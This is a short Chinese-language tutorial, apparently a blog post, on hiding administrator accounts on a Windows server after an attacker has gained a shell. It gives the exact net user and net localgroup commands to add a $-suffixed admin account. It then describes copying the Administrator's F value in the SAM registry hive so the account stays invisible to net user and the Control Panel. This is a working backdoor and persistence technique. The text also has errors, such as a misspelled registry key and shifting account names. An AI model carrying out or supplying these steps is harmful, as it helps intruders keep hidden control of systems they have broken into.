Windows创建隐藏用户

Windows创建隐藏用户

方法一:用户名后面加上$ 符号前提条件:在攻击过程中getshell,拿到目标服务器的administrator权限。

net user hack$ admin /add 添加hack$这个用户

net localgroup administrators hack$ /add 将hack$用户添加进管理员组

注意:

此时虽然使用命令行无法看到 wxiaoge$ 隐藏用户,但是采用其它方法仍旧可以发现wxiaoge$ 隐藏用户,为了更好的隐藏新建的账户,还需要进行修改注册表文件操作

net user 无法看到添加的用户,但是:wmic useraccount get Name 可以看到

同时控制面板也可以看到:

打开管理工具(控制面板改成小图标):

也可以使用win+x

然后找到计算机管理。

找到本地用户和组。

net user看不到的原因:

该账户是在创建或者加入家庭组的时候自动创建的,用来实现家庭组的功能。

该账户并不是实质上的用户账户,所以无法通过netuser显示。

方法二:修改注册表前提:需要创建一个带有 $ 符号的用户

win+r 然后输入:regedit 打开注册表,路径为:HKEY_LOCAL_MARCHINE\SAM\SAM

然后右键点击权限:修改成如下选项。

然后确定,重新打开注册表就能看到SAM的内容。

此时我们要导出

user下的administrator的隐藏文件,即 1F4

user/name 下test$账户的文件

user下的 test$ 账户的隐藏文件,在name下看到对应的是 3ED

右键导出即可。

最后导出这三个文件:

导出之后,用记事本打开这两个文件,把administrator注册表文件中的F值赋值到test$ 账户的隐藏文件中去。

替换之后,然后保存,删除 hack$ 用户: net user test$ /del

然后双击运行两个test的reg文件:

最后的结果:控制面板看不到test$ ,net user 也是。

只有注册表跟 net user test$ 可以看到创建的 test$用户

相关推荐